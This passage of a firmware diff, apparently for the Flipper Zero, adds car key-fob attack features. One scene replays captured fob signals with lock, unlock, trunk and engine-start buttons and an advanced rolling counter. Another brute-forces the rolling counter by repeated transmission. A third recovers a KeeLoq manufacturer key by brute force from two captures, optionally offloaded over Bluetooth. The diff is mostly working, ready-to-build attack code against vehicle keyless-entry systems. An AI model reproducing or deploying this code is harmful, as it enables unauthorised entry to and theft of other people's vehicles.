case InputKeyUp: custom_btn_id = SUBGHZ_CUSTOM_BTN_UP; break;
case InputKeyDown: custom_btn_id = SUBGHZ_CUSTOM_BTN_DOWN; break;
case InputKeyLeft: custom_btn_id = SUBGHZ_CUSTOM_BTN_LEFT; break;
case InputKeyRight: custom_btn_id = SUBGHZ_CUSTOM_BTN_RIGHT; break;
case InputKeyOk:
default: custom_btn_id = SUBGHZ_CUSTOM_BTN_OK; break;
}
subghz_custom_btn_set(custom_btn_id);
}
/** Update Cnt in fff_data (Btn is handled by the protocol via custom_btn). */
static void car_emulate_update_fff(SubGhz* subghz, uint32_t counter) {
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
if(!fff) return;
flipper_format_rewind(fff);
flipper_format_insert_or_update_uint32(fff, "Cnt", &counter, 1);
}
/** Apply tx_power to the current preset and start a single transmission burst. */
static bool car_emulate_start_tx(SubGhz* subghz, uint8_t custom_btn_id) {
SubGhzRadioPreset preset = subghz_txrx_get_preset(subghz->txrx);
if(preset.data && preset.data_size > 0 && subghz->tx_power > 0) {
subghz_txrx_set_tx_power(preset.data, preset.data_size, subghz->tx_power);
FURI_LOG_I(TAG, "TX power index applied: %u", subghz->tx_power);
}
subghz_custom_btn_set(custom_btn_id);
bool ok = subghz_tx_start(subghz, subghz_txrx_get_fff_data(subghz->txrx));
if(ok) {
subghz->state_notifications = SubGhzNotificationStateTx;
notification_message(subghz->notifications, &sequence_blink_magenta_10);
FURI_LOG_I(TAG, "TX started");
} else {
FURI_LOG_E(TAG, "subghz_tx_start failed");
}
return ok;
}
/** Stop an active transmission. */
static void car_emulate_stop_tx(SubGhz* subghz) {
subghz_txrx_stop(subghz->txrx);
subghz->state_notifications = SubGhzNotificationStateIDLE;
notification_message(subghz->notifications, &sequence_blink_stop);
FURI_LOG_I(TAG, "TX stopped");
}
/* ═══════════════════════════════════════════════════════════════════════════
* View callback (fired from the View's input handler)
* ═════════════════════════════════════════════════════════════════════════*/
static void subghz_scene_car_emulate_view_callback(uint32_t event, void* context) {
SubGhz* subghz = context;
view_dispatcher_send_custom_event(subghz->view_dispatcher, event);
}
/* ═══════════════════════════════════════════════════════════════════════════
* Helpers to keep the view in sync
* ═════════════════════════════════════════════════════════════════════════*/
static void car_emulate_refresh_view(SubGhz* subghz) {
furi_assert(s_state);
subghz_car_emulate_view_set_data(
subghz->car_emulate_view,
s_state->protocol_name,
s_state->serial,
s_state->current_counter,
s_state->original_counter,
s_state->freq,
s_state->preset_short,
s_state->is_transmitting);
}
/* ═══════════════════════════════════════════════════════════════════════════
* Scene on_enter
* ═════════════════════════════════════════════════════════════════════════*/
void subghz_scene_car_emulate_on_enter(void* context) {
SubGhz* subghz = context;
furi_assert(subghz);
/* Allocate per-session state */
s_state = malloc(sizeof(CarEmulateState));
furi_check(s_state);
memset(s_state, 0, sizeof(CarEmulateState));
/* ── Read metadata from the loaded fff_data ── */
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
if(fff) {
FuriString* tmp = furi_string_alloc();
flipper_format_rewind(fff);
if(flipper_format_read_string(fff, "Protocol", tmp)) {
strncpy(
s_state->protocol_name,
furi_string_get_cstr(tmp),
sizeof(s_state->protocol_name) - 1);
}
flipper_format_rewind(fff);
flipper_format_read_uint32(fff, "Serial", &s_state->serial, 1);
flipper_format_rewind(fff);
uint32_t btn_tmp = 0;
if(flipper_format_read_uint32(fff, "Btn", &btn_tmp, 1)) {
s_state->original_button = (uint8_t)btn_tmp;
}
flipper_format_rewind(fff);
flipper_format_read_uint32(fff, "Cnt", &s_state->original_counter, 1);
s_state->current_counter = s_state->original_counter;
furi_string_free(tmp);
}
/* ── Initialize the custom_btn system ──────────────────────────────────
* Reset first so any leftover state from a previous session is cleared.
* Then deserialize the decoder once: this causes the protocol's own
* deserialize() to call subghz_custom_btn_set_original() and
* subghz_custom_btn_set_max(), which is exactly what the standard
* Transmitter scene does via subghz_scene_transmitter_update_data_show().
* After this call:
* - subghz_custom_btn_get_original() → the button that was in the file
* - subghz_custom_btn_is_allowed() → true if protocol supports it
* - subghz_custom_btn_get_max() → number of buttons available */
subghz_custom_btns_reset();
SubGhzProtocolDecoderBase* decoder = subghz_txrx_get_decoder(subghz->txrx);
if(decoder && fff) {
flipper_format_rewind(fff);
subghz_protocol_decoder_base_deserialize(decoder, fff);
/* Rewind again so subsequent reads in car_emulate_read_freq_preset()
* start from the beginning of the file. */
flipper_format_rewind(fff);
}
subghz_car_emulate_view_set_labels(
subghz->car_emulate_view,
"UNLOCK", /* OK */
"LOCK", /* Up */
"TRUNK", /* Down */
"PANIC", /* Left */
"START" /* Right */
);
car_emulate_read_freq_preset(subghz, s_state);
/* ── Configure the view ── */
subghz_car_emulate_view_set_callback(
subghz->car_emulate_view, subghz_scene_car_emulate_view_callback, subghz);
car_emulate_refresh_view(subghz);
subghz->state_notifications = SubGhzNotificationStateIDLE;
view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdCarEmulate);
}
/* ═══════════════════════════════════════════════════════════════════════════
* Scene on_event
* ═════════════════════════════════════════════════════════════════════════*/
bool subghz_scene_car_emulate_on_event(void* context, SceneManagerEvent event) {
SubGhz* subghz = context;
furi_assert(s_state);
bool consumed = false;
if(event.type == SceneManagerEventTypeCustom) {
/* ── Transmit ── */
if((event.event & 0xFFFFU) == SubGhzCustomEventCarEmulateTransmit) {
InputKey key = (InputKey)((event.event >> 16) & 0xFFU);
/* Stop any ongoing TX first */
if(subghz->state_notifications == SubGhzNotificationStateTx) {
car_emulate_stop_tx(subghz);
}
/* Bump counter */
s_state->current_counter++;
/* Set the custom button BEFORE deserialize() is called inside
* subghz_tx_start() → subghz_txrx_tx_start().
* The protocol's deserialize() will call subghz_custom_btn_get()
* to pick the right button code. */
car_emulate_apply_button(subghz, key);
/* Only update the counter in fff_data; the protocol handles Btn. */
car_emulate_update_fff(subghz, s_state->current_counter);
s_state->is_transmitting = true;
s_state->stop_pending = false;
s_state->tx_start_tick = (uint32_t)furi_get_tick();
uint8_t cur_btn = subghz_custom_btn_get();
if(!car_emulate_start_tx(subghz, cur_btn)) {
s_state->is_transmitting = false;
notification_message(subghz->notifications, &sequence_error);
}
car_emulate_refresh_view(subghz);
consumed = true;
/* ── Stop ── */
} else if(event.event == SubGhzCustomEventCarEmulateStop) {
if(s_state->is_transmitting &&
subghz->state_notifications == SubGhzNotificationStateTx) {
uint32_t elapsed = (uint32_t)furi_get_tick() - s_state->tx_start_tick;
if(elapsed >= MIN_TX_TICKS) {
car_emulate_stop_tx(subghz);
s_state->is_transmitting = false;
s_state->stop_pending = false;
} else {
s_state->stop_pending = true;
}
}
car_emulate_refresh_view(subghz);
consumed = true;
/* ── Exit ── */
} else if(event.event == SubGhzCustomEventCarEmulateExit) {
if(subghz->state_notifications == SubGhzNotificationStateTx) {
car_emulate_stop_tx(subghz);
}
scene_manager_search_and_switch_to_previous_scene(
subghz->scene_manager, SubGhzSceneSavedMenu);
consumed = true;
}
} else if(event.type == SceneManagerEventTypeTick) {
if(s_state->is_transmitting &&
subghz->state_notifications == SubGhzNotificationStateTx) {
/* Check if hardware is done */
if(subghz_devices_is_async_complete_tx(subghz->txrx->radio_device)) {
subghz->state_notifications = SubGhzNotificationStateIDLE;
subghz_txrx_stop(subghz->txrx);
if(s_state->stop_pending) {
s_state->is_transmitting = false;
s_state->stop_pending = false;
notification_message(subghz->notifications, &sequence_blink_stop);
}
} else {
/* Still transmitting blink LED */
notification_message(subghz->notifications, &sequence_blink_magenta_10);
}
/* Enforce MIN_TX_TICKS stop gate */
if(s_state->stop_pending) {
uint32_t elapsed = (uint32_t)furi_get_tick() - s_state->tx_start_tick;
if(elapsed >= MIN_TX_TICKS) {
car_emulate_stop_tx(subghz);
s_state->is_transmitting = false;
s_state->stop_pending = false;
}
}
}
/* Refresh view every tick for animation */
car_emulate_refresh_view(subghz);
consumed = true;
}
return consumed;
}
/* ═══════════════════════════════════════════════════════════════════════════
* Scene on_exit
* ═════════════════════════════════════════════════════════════════════════*/
void subghz_scene_car_emulate_on_exit(void* context) {
SubGhz* subghz = context;
if(subghz->state_notifications == SubGhzNotificationStateTx) {
car_emulate_stop_tx(subghz);
}
subghz->state_notifications = SubGhzNotificationStateIDLE;
notification_message(subghz->notifications, &sequence_blink_stop);
/* Clear view callbacks */
subghz_car_emulate_view_set_callback(subghz->car_emulate_view, NULL, NULL);
/* Free per-session state */
if(s_state) {
free(s_state);
s_state = NULL;
}
}
@@ -0,0 +1,109 @@
/**
* Scene: CarEmulateSettings
* Toggle: Custom Emulate Off / On
* Selector: TX Power (reuses the same table as Radio Settings)
* Both settings are persisted in SubGhzLastSettings.
*/
#include "../subghz_i.h"
#include <lib/toolbox/value_index.h>
#define TAG "SubGhzCarEmulateSettings"
/* ── Toggle ──────────────────────────────────────────────────────────────── */
static const char* const toggle_text[] = {"Off", "On"};
static void subghz_scene_car_emulate_settings_toggle_changed(VariableItem* item) {
SubGhz* subghz = variable_item_get_context(item);
furi_assert(subghz);
uint8_t index = variable_item_get_current_value_index(item);
variable_item_set_current_value_text(item, toggle_text[index]);
subghz->last_settings->custom_car_emulate = (index == 1);
subghz_last_settings_save(subghz->last_settings);
}
/* ── TX Power ────────────────────────────────────────────────────────────── */
/* Must match the table in subghz_scene_radio_settings.c exactly */
#define CE_TX_POWER_COUNT 9
static const char* const ce_tx_power_text[CE_TX_POWER_COUNT] = {
"Preset", /* index 0 → use whatever the preset has baked in */
"10dBm +",
"7dBm",
"5dBm",
"0dBm",
"-10dBm",
"-15dBm",
"-20dBm",
"-30dBm",
};
static void subghz_scene_car_emulate_settings_power_changed(VariableItem* item) {
SubGhz* subghz = variable_item_get_context(item);
furi_assert(subghz);
uint8_t index = variable_item_get_current_value_index(item);
variable_item_set_current_value_text(item, ce_tx_power_text[index]);
/* Mirror the same fields that Radio Settings touches so the value is
* visible everywhere and survives app restart. */
subghz->tx_power = index;
subghz->last_settings->tx_power = index;
subghz_last_settings_save(subghz->last_settings);
/* Patch the live preset buffer immediately so any subsequent TX in this
* session uses the new power without needing a restart. */
SubGhzRadioPreset preset = subghz_txrx_get_preset(subghz->txrx);
if(preset.data && preset.data_size > 0) {
subghz_txrx_set_tx_power(preset.data, preset.data_size, index);
}
}
/* ── Scene callbacks ─────────────────────────────────────────────────────── */
void subghz_scene_car_emulate_settings_on_enter(void* context) {
SubGhz* subghz = context;
furi_assert(subghz);
VariableItemList* list = subghz->variable_item_list;
variable_item_list_reset(list);
/* ── Row 1: Custom Emulate toggle ── */
VariableItem* item = variable_item_list_add(
list,
"Custom Emulate",
2,
subghz_scene_car_emulate_settings_toggle_changed,
subghz);
uint8_t toggle_idx = subghz->last_settings->custom_car_emulate ? 1 : 0;
variable_item_set_current_value_index(item, toggle_idx);
variable_item_set_current_value_text(item, toggle_text[toggle_idx]);
/* ── Row 2: TX Power ── */
item = variable_item_list_add(
list,
"TX Power",
CE_TX_POWER_COUNT,
subghz_scene_car_emulate_settings_power_changed,
subghz);
/* Clamp stored value to valid range in case settings file is corrupt */
uint8_t power_idx = subghz->tx_power;
if(power_idx >= CE_TX_POWER_COUNT) power_idx = 0;
variable_item_set_current_value_index(item, power_idx);
variable_item_set_current_value_text(item, ce_tx_power_text[power_idx]);
view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdVariableItemList);
}
bool subghz_scene_car_emulate_settings_on_event(void* context, SceneManagerEvent event) {
UNUSED(context);
UNUSED(event);
return false;
}
void subghz_scene_car_emulate_settings_on_exit(void* context) {
SubGhz* subghz = context;
variable_item_list_reset(subghz->variable_item_list);
}
@@ -30,4 +30,9 @@ ADD_SCENE(subghz, protocol_list, ProtocolList)
ADD_SCENE(subghz, keeloq_keys, KeeloqKeys)
ADD_SCENE(subghz, keeloq_key_edit, KeeloqKeyEdit)
ADD_SCENE(subghz, psa_decrypt, PsaDecrypt)
ADD_SCENE(subghz, keeloq_decrypt, KeeloqDecrypt)
ADD_SCENE(subghz, keeloq_bf2, KeeloqBf2)
ADD_SCENE(subghz, kl_bf_cleanup, KlBfCleanup)
ADD_SCENE(subghz, counter_bf, CounterBf)
ADD_SCENE(subghz, car_emulate, CarEmulate)
ADD_SCENE(subghz, car_emulate_settings, CarEmulateSettings)
@@ -5,9 +5,10 @@
#define TAG "SubGhzCounterBf"
// How many ticks to wait between transmissions (1 tick ~100ms)
#define COUNTER_BF_TX_INTERVAL_TICKS 3
#define COUNTER_BF_TX_INTERVAL_TICKS 5
typedef enum {
CounterBfStateWarning,
CounterBfStateIdle,
CounterBfStateRunning,
CounterBfStateStopped,
@@ -22,8 +23,16 @@ typedef struct {
uint32_t tick_wait;
} CounterBfContext;
#define CounterBfEventStart (0xC0)
#define CounterBfEventStop (0xC1)
#define CounterBfEventStart (0xC0)
#define CounterBfEventStop (0xC1)
#define CounterBfEventWarningOk (0xC2)
static void counter_bf_warning_callback(GuiButtonType result, InputType type, void* context) {
SubGhz* subghz = context;
if(result == GuiButtonTypeCenter && type == InputTypeShort) {
view_dispatcher_send_custom_event(subghz->view_dispatcher, CounterBfEventWarningOk);
}
}
static void counter_bf_widget_callback(GuiButtonType result, InputType type, void* context) {
SubGhz* subghz = context;
@@ -32,18 +41,36 @@ static void counter_bf_widget_callback(GuiButtonType result, InputType type, voi
}
}
static void counter_bf_draw_warning(SubGhz* subghz) {
widget_reset(subghz->widget);
widget_add_string_multiline_element(
subghz->widget,
64,
20,
AlignCenter,
AlignCenter,
FontSecondary,
"WARNING:\nThis may desync\nyour fob!");
widget_add_button_element(
subghz->widget,
GuiButtonTypeCenter,
"OK",
counter_bf_warning_callback,
subghz);
}
static void counter_bf_draw(SubGhz* subghz, CounterBfContext* ctx) {
widget_reset(subghz->widget);
FuriString* str = furi_string_alloc();
furi_string_printf(
str,
"Counter BruteForce\n"
"Cnt: 0x%08lX\n"
"Sent: %lu pkts\n"
"Start: 0x%08lX",
ctx->current_cnt,
ctx->packets_sent,
ctx->start_cnt);
"Cnt: 0x%06lX\n"
"Start: 0x%06lX\n"
"Sent: %lu",
ctx->current_cnt & 0xFFFFFF,
ctx->start_cnt & 0xFFFFFF,
ctx->packets_sent);
widget_add_string_multiline_element(
subghz->widget, 0, 0, AlignLeft, AlignTop, FontSecondary, furi_string_get_cstr(str));
furi_string_free(str);
@@ -57,14 +84,12 @@ static void counter_bf_draw(SubGhz* subghz, CounterBfContext* ctx) {
}
static void counter_bf_save(SubGhz* subghz, CounterBfContext* ctx) {
// Escribir el Cnt final directamente en el archivo .sub en disco.
// No usar subghz_save_protocol_to_file() porque ese serializa el estado
// actual del encoder (que puede tener el Cnt ya incrementado internamente).
Storage* storage = furi_record_open(RECORD_STORAGE);
FlipperFormat* file_fff = flipper_format_buffered_file_alloc(storage);
if(flipper_format_buffered_file_open_existing(
file_fff, furi_string_get_cstr(subghz->file_path))) {
if(!flipper_format_update_uint32(file_fff, "Cnt", &ctx->current_cnt, 1)) {
uint32_t cnt = ctx->current_cnt & 0xFFFFFF;
if(!flipper_format_update_uint32(file_fff, "Cnt", &cnt, 1)) {
FURI_LOG_E(TAG, "Failed to update Cnt in .sub file");
}
} else {
@@ -77,16 +102,15 @@ static void counter_bf_save(SubGhz* subghz, CounterBfContext* ctx) {
static void counter_bf_send(SubGhz* subghz, CounterBfContext* ctx) {
subghz_txrx_stop(subghz->txrx);
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
uint32_t delta = (ctx->current_cnt - ctx->start_cnt) & 0xFFFFFF;
furi_hal_subghz_set_rolling_counter_mult((int32_t)delta);
subghz_block_generic_global_counter_override_set(ctx->current_cnt & 0xFFFFFF);
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
uint32_t repeat = 20;
flipper_format_rewind(fff);
flipper_format_update_uint32(fff, "Repeat", &repeat, 1);
// Actualizar Cnt DESPUES de Repeat (update es secuencial en el buffer)
flipper_format_rewind(fff);
flipper_format_update_uint32(fff, "Cnt", &ctx->current_cnt, 1);
subghz_tx_start(subghz, fff);
ctx->packets_sent++;
@@ -98,42 +122,38 @@ void subghz_scene_counter_bf_on_enter(void* context) {
CounterBfContext* ctx = malloc(sizeof(CounterBfContext));
memset(ctx, 0, sizeof(CounterBfContext));
ctx->state = CounterBfStateIdle;
ctx->state = CounterBfStateWarning;
ctx->step = 1;
furi_hal_subghz_set_rolling_counter_mult(0);
subghz_key_load(subghz, furi_string_get_cstr(subghz->file_path), false);
// FIX: Leer el Cnt DIRECTAMENTE del archivo en disco con un FlipperFormat
// propio, completamente separado del fff en memoria (que puede tener el Cnt
// modificado por TXs previas y no refleja el estado real del .sub).
{
Storage* storage = furi_record_open(RECORD_STORAGE);
FlipperFormat* file_fff = flipper_format_buffered_file_alloc(storage);
if(flipper_format_buffered_file_open_existing(
file_fff, furi_string_get_cstr(subghz->file_path))) {
uint32_t cnt = 0;
if(flipper_format_read_uint32(file_fff, "Cnt", &cnt, 1)) {
ctx->current_cnt = cnt;
ctx->start_cnt = cnt;
} else {
FURI_LOG_W(TAG, "Cnt field not found in file");
}
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
flipper_format_rewind(fff);
uint32_t cnt = 0;
if(flipper_format_read_uint32(fff, "Cnt", &cnt, 1)) {
ctx->current_cnt = cnt & 0xFFFFFF;
ctx->start_cnt = cnt & 0xFFFFFF;
} else {
FURI_LOG_E(TAG, "Failed to open .sub file for Cnt read");
FURI_LOG_W(TAG, "Cnt not in fff after key_load, reading from disk");
Storage* storage = furi_record_open(RECORD_STORAGE);
FlipperFormat* file_fff = flipper_format_buffered_file_alloc(storage);
if(flipper_format_buffered_file_open_existing(
file_fff, furi_string_get_cstr(subghz->file_path))) {
if(flipper_format_read_uint32(file_fff, "Cnt", &cnt, 1)) {
ctx->current_cnt = cnt & 0xFFFFFF;
ctx->start_cnt = cnt & 0xFFFFFF;
}
}
flipper_format_free(file_fff);
furi_record_close(RECORD_STORAGE);
}
flipper_format_free(file_fff);
furi_record_close(RECORD_STORAGE);
}
scene_manager_set_scene_state(
subghz->scene_manager, SubGhzSceneCounterBf, (uint32_t)(uintptr_t)ctx);
// Deshabilitar auto-increment del protocolo para controlar el Cnt manualmente
furi_hal_subghz_set_rolling_counter_mult(0);
// Recargar el protocolo DESPUES de haber leído el Cnt del disco,
// para preparar el fff para TX sin que pise nuestro valor leído.
subghz_key_load(subghz, furi_string_get_cstr(subghz->file_path), false);
counter_bf_draw(subghz, ctx);
counter_bf_draw_warning(subghz);
view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdWidget);
}
@@ -144,15 +164,21 @@ bool subghz_scene_counter_bf_on_event(void* context, SceneManagerEvent event) {
if(!ctx) return false;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == CounterBfEventWarningOk) {
ctx->state = CounterBfStateIdle;
counter_bf_draw(subghz, ctx);
return true;
}
if(event.event == CounterBfEventStart) {
if(ctx->state == CounterBfStateWarning) return true;
if(ctx->state != CounterBfStateRunning) {
ctx->state = CounterBfStateRunning;
ctx->tick_wait = 0;
subghz->state_notifications = SubGhzNotificationStateTx;
counter_bf_send(subghz, ctx);
} else {
// FIX 2: Al detener, guardar el contador actual en el .sub
// para que al volver a emular manualmente continúe desde acá.
ctx->state = CounterBfStateStopped;
subghz_txrx_stop(subghz->txrx);
subghz->state_notifications = SubGhzNotificationStateIDLE;
@@ -167,19 +193,24 @@ bool subghz_scene_counter_bf_on_event(void* context, SceneManagerEvent event) {
if(ctx->tick_wait > 0) {
ctx->tick_wait--;
} else {
ctx->current_cnt += ctx->step;
ctx->current_cnt = (ctx->current_cnt + ctx->step) & 0xFFFFFF;
counter_bf_send(subghz, ctx);
counter_bf_save(subghz, ctx);
counter_bf_draw(subghz, ctx);
}
}
return true;
} else if(event.type == SceneManagerEventTypeBack) {
if(ctx->state == CounterBfStateWarning) {
furi_hal_subghz_set_rolling_counter_mult(1);
free(ctx);
scene_manager_previous_scene(subghz->scene_manager);
return true;
}
subghz_txrx_stop(subghz->txrx);
subghz->state_notifications = SubGhzNotificationStateIDLE;
// FIX 2 (también en Back): guardar siempre al salir
counter_bf_save(subghz, ctx);
furi_hal_subghz_set_rolling_counter_mult(1);
free(ctx);
scene_manager_previous_scene(subghz->scene_manager);
@@ -0,0 +1,257 @@
#include "../subghz_i.h"
#include <lib/subghz/protocols/keeloq.h>
#include <lib/subghz/blocks/math.h>
#include <dialogs/dialogs.h>
enum {
KlBf2IndexLoadSig1,
KlBf2IndexLoadSig2,
KlBf2IndexType,
KlBf2IndexStartBf,
};
static const char* kl_bf2_type_labels[] = {
"Type: Auto (6>7>8)",
"Type: 6 (Serial 1)",
"Type: 7 (Serial 2)",
"Type: 8 (Serial 3)",
};
static const uint8_t kl_bf2_type_values[] = {0, 6, 7, 8};
static bool kl_bf2_extract_key(SubGhz* subghz, uint32_t* out_fix, uint32_t* out_hop) {
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
flipper_format_rewind(fff);
uint8_t key_data[8] = {0};
if(!flipper_format_read_hex(fff, "Key", key_data, 8)) return false;
uint64_t raw = 0;
for(uint8_t i = 0; i < 8; i++) {
raw = (raw << 8) | key_data[i];
}
uint64_t reversed = subghz_protocol_blocks_reverse_key(raw, 64);
*out_fix = (uint32_t)(reversed >> 32);
*out_hop = (uint32_t)(reversed & 0xFFFFFFFF);
return true;
}
static bool kl_bf2_is_keeloq(SubGhz* subghz) {
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
flipper_format_rewind(fff);
FuriString* proto = furi_string_alloc();
bool ok = flipper_format_read_string(fff, "Protocol", proto) &&
furi_string_equal_str(proto, "KeeLoq");
furi_string_free(proto);
return ok;
}
static void kl_bf2_submenu_callback(void* context, uint32_t index) {
SubGhz* subghz = context;
view_dispatcher_send_custom_event(subghz->view_dispatcher, index);
}
static bool kl_bf2_load_signal(SubGhz* subghz, FuriString* out_path) {
DialogsFileBrowserOptions browser_options;
dialog_file_browser_set_basic_options(
&browser_options, SUBGHZ_APP_FILENAME_EXTENSION, &I_sub1_10px);
browser_options.base_path = SUBGHZ_APP_FOLDER;
FuriString* selected = furi_string_alloc();
furi_string_set(selected, SUBGHZ_APP_FOLDER);
bool res = dialog_file_browser_show(subghz->dialogs, selected, selected, &browser_options);
if(res) {
res = subghz_key_load(subghz, furi_string_get_cstr(selected), true);
if(res) {
furi_string_set(out_path, selected);
}
}
furi_string_free(selected);
return res;
}
static void kl_bf2_rebuild_menu(SubGhz* subghz) {
submenu_reset(subghz->submenu);
char label1[64];
char label2[64];
if(subghz->keeloq_bf2.sig1_loaded) {
FuriString* name = furi_string_alloc();
path_extract_filename(subghz->keeloq_bf2.sig1_path, name, true);
snprintf(label1, sizeof(label1), "Sig 1: %s", furi_string_get_cstr(name));
furi_string_free(name);
} else {
snprintf(label1, sizeof(label1), "Load Signal 1");
}
if(subghz->keeloq_bf2.sig2_loaded) {
FuriString* name = furi_string_alloc();
path_extract_filename(subghz->keeloq_bf2.sig2_path, name, true);
snprintf(label2, sizeof(label2), "Sig 2: %s", furi_string_get_cstr(name));
furi_string_free(name);
} else {
snprintf(label2, sizeof(label2), "Load Signal 2");
}
submenu_add_item(
subghz->submenu, label1, KlBf2IndexLoadSig1,
kl_bf2_submenu_callback, subghz);
submenu_add_item(
subghz->submenu, label2, KlBf2IndexLoadSig2,
kl_bf2_submenu_callback, subghz);
int type_idx = 0;
for(int i = 0; i < 4; i++) {
if(kl_bf2_type_values[i] == subghz->keeloq_bf2.learn_type) {
type_idx = i;
break;
}
}
submenu_add_item(
subghz->submenu, kl_bf2_type_labels[type_idx], KlBf2IndexType,
kl_bf2_submenu_callback, subghz);
if(subghz->keeloq_bf2.sig1_loaded && subghz->keeloq_bf2.sig2_loaded) {
submenu_add_item(
subghz->submenu, "Start BF", KlBf2IndexStartBf,
kl_bf2_submenu_callback, subghz);
}
view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdMenu);
}
void subghz_scene_keeloq_bf2_on_enter(void* context) {
SubGhz* subghz = context;
subghz->keeloq_bf2.sig1_loaded = false;
subghz->keeloq_bf2.sig2_loaded = false;
subghz->keeloq_bf2.learn_type = 0;
kl_bf2_rebuild_menu(subghz);
}
bool subghz_scene_keeloq_bf2_on_event(void* context, SceneManagerEvent event) {
SubGhz* subghz = context;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == KlBf2IndexLoadSig1) {
FuriString* path = furi_string_alloc();
if(kl_bf2_load_signal(subghz, path)) {
if(!kl_bf2_is_keeloq(subghz)) {
dialog_message_show_storage_error(
subghz->dialogs, "Not a KeeLoq\nprotocol file");
furi_string_free(path);
kl_bf2_rebuild_menu(subghz);
return true;
}
uint32_t fix, hop;
if(!kl_bf2_extract_key(subghz, &fix, &hop)) {
dialog_message_show_storage_error(
subghz->dialogs, "Cannot read Key\nfrom file");
furi_string_free(path);
kl_bf2_rebuild_menu(subghz);
return true;
}
subghz->keeloq_bf2.fix = fix;
subghz->keeloq_bf2.hop1 = hop;
subghz->keeloq_bf2.serial = fix & 0x0FFFFFFF;
subghz->keeloq_bf2.sig1_loaded = true;
furi_string_set(subghz->keeloq_bf2.sig1_path, path);
subghz->keeloq_bf2.sig2_loaded = false;
}
furi_string_free(path);
kl_bf2_rebuild_menu(subghz);
return true;
} else if(event.event == KlBf2IndexLoadSig2) {
if(!subghz->keeloq_bf2.sig1_loaded) {
dialog_message_show_storage_error(
subghz->dialogs, "Load Signal 1 first");
kl_bf2_rebuild_menu(subghz);
return true;
}
FuriString* path = furi_string_alloc();
if(kl_bf2_load_signal(subghz, path)) {
if(!kl_bf2_is_keeloq(subghz)) {
dialog_message_show_storage_error(
subghz->dialogs, "Not a KeeLoq\nprotocol file");
furi_string_free(path);
kl_bf2_rebuild_menu(subghz);
return true;
}
uint32_t fix2, hop2;
if(!kl_bf2_extract_key(subghz, &fix2, &hop2)) {
dialog_message_show_storage_error(
subghz->dialogs, "Cannot read Key\nfrom file");
furi_string_free(path);
kl_bf2_rebuild_menu(subghz);
return true;
}
uint32_t serial2 = fix2 & 0x0FFFFFFF;
if(serial2 != subghz->keeloq_bf2.serial) {
dialog_message_show_storage_error(
subghz->dialogs, "Serial mismatch!\nMust be same remote");
furi_string_free(path);
kl_bf2_rebuild_menu(subghz);
return true;
}
if(hop2 == subghz->keeloq_bf2.hop1) {
dialog_message_show_storage_error(
subghz->dialogs, "Same hop code!\nUse a different\ncapture");
furi_string_free(path);
kl_bf2_rebuild_menu(subghz);
return true;
}
subghz->keeloq_bf2.hop2 = hop2;
subghz->keeloq_bf2.sig2_loaded = true;
furi_string_set(subghz->keeloq_bf2.sig2_path, path);
}
furi_string_free(path);
kl_bf2_rebuild_menu(subghz);
return true;
} else if(event.event == KlBf2IndexType) {
uint8_t cur = subghz->keeloq_bf2.learn_type;
if(cur == 0) cur = 6;
else if(cur == 6) cur = 7;
else if(cur == 7) cur = 8;
else cur = 0;
subghz->keeloq_bf2.learn_type = cur;
kl_bf2_rebuild_menu(subghz);
return true;
} else if(event.event == KlBf2IndexStartBf) {
if(!subghz->keeloq_bf2.sig1_loaded || !subghz->keeloq_bf2.sig2_loaded) {
return true;
}
if(!subghz_key_load(
subghz,
furi_string_get_cstr(subghz->keeloq_bf2.sig1_path),
true)) {
dialog_message_show_storage_error(
subghz->dialogs, "Cannot reload\nSignal 1");
kl_bf2_rebuild_menu(subghz);
return true;
}
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneKeeloqDecrypt);
return true;
}
}
return false;
}
void subghz_scene_keeloq_bf2_on_exit(void* context) {
SubGhz* subghz = context;
submenu_reset(subghz->submenu);
}
@@ -0,0 +1,299 @@
#include "../subghz_i.h"
#include "../helpers/subghz_txrx_i.h"
#include <lib/subghz/protocols/keeloq.h>
#include <lib/subghz/protocols/keeloq_common.h>
#include <lib/subghz/blocks/math.h>
#include <lib/subghz/environment.h>
#include <lib/subghz/subghz_keystore.h>
#include <furi.h>
#include <bt/bt_service/bt.h>
#define KL_DECRYPT_EVENT_DONE (0xD2)
#define KL_DECRYPT_EVENT_CANDIDATE (0xD3)
#define KL_TOTAL_KEYS 0x100000000ULL
#define KL_MSG_BF_REQUEST 0x10
#define KL_MSG_BF_PROGRESS 0x11
#define KL_MSG_BF_RESULT 0x12
#define KL_MSG_BF_CANCEL 0x13
typedef struct {
SubGhz* subghz;
volatile bool cancel;
uint32_t start_tick;
bool success;
FuriString* result;
uint32_t fix;
uint32_t hop;
uint32_t serial;
uint8_t btn;
uint16_t disc;
uint32_t hop2;
uint32_t candidate_count;
uint64_t recovered_mfkey;
uint16_t recovered_type;
uint32_t recovered_cnt;
bool ble_offload;
} KlDecryptCtx;
static void kl_ble_data_received(uint8_t* data, uint16_t size, void* context) {
KlDecryptCtx* ctx = context;
if(size < 1 || ctx->cancel) return;
if(data[0] == KL_MSG_BF_PROGRESS && size >= 10) {
uint32_t keys_tested, keys_per_sec;
memcpy(&keys_tested, data + 2, 4);
memcpy(&keys_per_sec, data + 6, 4);
uint32_t elapsed_sec = (furi_get_tick() - ctx->start_tick) / 1000;
uint32_t remaining = (keys_tested > 0) ? (0xFFFFFFFFU - keys_tested) : 0xFFFFFFFFU;
uint32_t eta_sec = (keys_per_sec > 0) ? (remaining / keys_per_sec) : 0;
uint8_t pct = (uint8_t)((uint64_t)keys_tested * 100 / 0xFFFFFFFFULL);
subghz_view_keeloq_decrypt_update_stats(
ctx->subghz->subghz_keeloq_decrypt, pct, keys_tested, keys_per_sec, elapsed_sec, eta_sec);
} else if(data[0] == KL_MSG_BF_RESULT && size >= 26) {
uint8_t found = data[1];
if(found == 1) {
uint64_t mfkey = 0;
